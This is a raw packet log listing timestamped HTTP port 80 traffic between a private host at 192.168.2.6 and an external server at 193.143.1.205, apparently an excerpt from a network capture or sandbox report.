Jan 10, 2025 21:20:28.511030912 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511065960 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511097908 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511131048 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511149883 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.511163950 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511178017 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.511198044 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511231899 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511250973 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.511265039 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511298895 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511352062 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511358976 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.511387110 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511435986 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511450052 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.511539936 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.511729956 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511836052 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511868954 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511904001 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511921883 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.511936903 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511971951 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511986017 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.512023926 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.514416933 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.522090912 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.522104025 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.522119999 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.522161007 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.534828901 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.534861088 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.534892082 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.534893990 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.534928083 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.534979105 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.568762064 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.568854094 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.568869114 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.568901062 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.568934917 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.568972111 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.569005013 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.569006920 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.569037914 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.569040060 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.569075108 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.569127083 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.569189072 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.569222927 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.569267988 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.569272995 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.569313049 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.598704100 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.598758936 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.598793983 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.598829031 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.598862886 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.598869085 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.598897934 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.598921061 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.598941088 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.598964930 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.598973036 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.599020004 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.602891922 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.602977991 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.603013992 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.603046894 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.603075027 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.603082895 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.603121996 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.603123903 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.603159904 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.603178024 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.603193045 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.603228092 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.603255987 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.603260994 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.603295088 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.603373051 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.632297993 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632319927 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632332087 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632368088 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.632421017 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.632687092 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632698059 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632709980 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632723093 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632734060 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632739067 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.632745981 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632760048 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632771969 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632782936 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632793903 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.632817030 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632823944 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.632833004 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632853985 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.632859945 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632873058 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632885933 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632898092 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632906914 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.632910967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632916927 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.632925034 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.632947922 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.633121014 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633131981 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633145094 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633166075 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.633172035 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633173943 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.633186102 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633204937 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633223057 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633233070 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.633234024 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633248091 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633261919 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.633287907 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.633734941 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633747101 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633759022 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633770943 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633786917 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.633793116 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633812904 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.633812904 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633832932 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633845091 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633856058 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633867025 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633872032 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.633879900 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633893013 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633897066 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.633904934 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633913994 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.633918047 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633930922 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633939981 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.633944035 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.633968115 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.633984089 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.634280920 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.634293079 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.634308100 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.634330988 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.634339094 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.634352922 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.634365082 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.634376049 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.634387970 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.634391069 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.634416103 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.634433031 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.637351990 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.637401104 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.637484074 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.637546062 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.637567043 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.637619019 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.637650013 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.637665987 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.637689114 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.637712955 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.637744904 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.637792110 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.637816906 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.637823105 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.637854099 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.637882948 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.637883902 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.637922049 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.637931108 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.637974024 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638005972 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638019085 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.638037920 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638081074 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638098001 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.638111115 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638143063 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638165951 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.638252020 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638279915 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638300896 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.638312101 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638345003 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638396025 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638401985 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.638427973 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638477087 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.638528109 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638575077 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638606071 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638627052 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.638648987 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.638659000 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638689995 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638797998 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.638801098 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638813972 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638847113 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638878107 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.638894081 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.638925076 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.639487028 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.659596920 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.659610033 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.659622908 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.659635067 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.659653902 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.659661055 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.659671068 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.659723043 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.664103031 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.664148092 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.688998938 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689099073 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689191103 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689224958 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689260006 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689284086 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.689284086 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.689294100 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689328909 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.689330101 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689359903 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689393044 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689425945 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689431906 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.689456940 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689471006 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.689492941 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689526081 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689546108 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.689558029 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689591885 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689640045 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689642906 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.689672947 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.689694881 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.693413973 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.693449974 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.693484068 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.693490982 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.693516970 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.693542957 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.693551064 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.693598032 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.693624020 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.693631887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.693665981 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.693718910 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.696741104 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.723186016 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.723272085 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.723344088 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.723387003 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.723423004 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.723448038 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.723577976 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.723656893 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.723675966 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.723692894 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.723753929 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.723762989 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.723819971 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.723870039 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.723893881 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.723949909 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724004030 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.724050999 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724086046 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724119902 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724173069 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724174023 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.724206924 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724226952 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.724248886 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724302053 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.724363089 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724405050 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724416971 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724451065 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724457026 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.724503040 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.724571943 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724628925 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724637985 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724673033 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724677086 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.724708080 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724725008 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.724747896 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724781990 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724798918 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.724817991 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724853039 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724865913 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.724888086 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724921942 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724955082 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.724975109 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.724992990 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725006104 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725028038 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725061893 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725085020 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725095987 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725137949 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725171089 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725171089 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725204945 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725233078 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725239038 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725275993 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725308895 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725328922 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725342989 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725347996 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725379944 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725402117 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725414991 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725450039 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725465059 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725501060 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725523949 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725532055 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725564957 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725598097 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725610018 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725634098 CET	80	49721	193.143.1.205	192.168.2.6
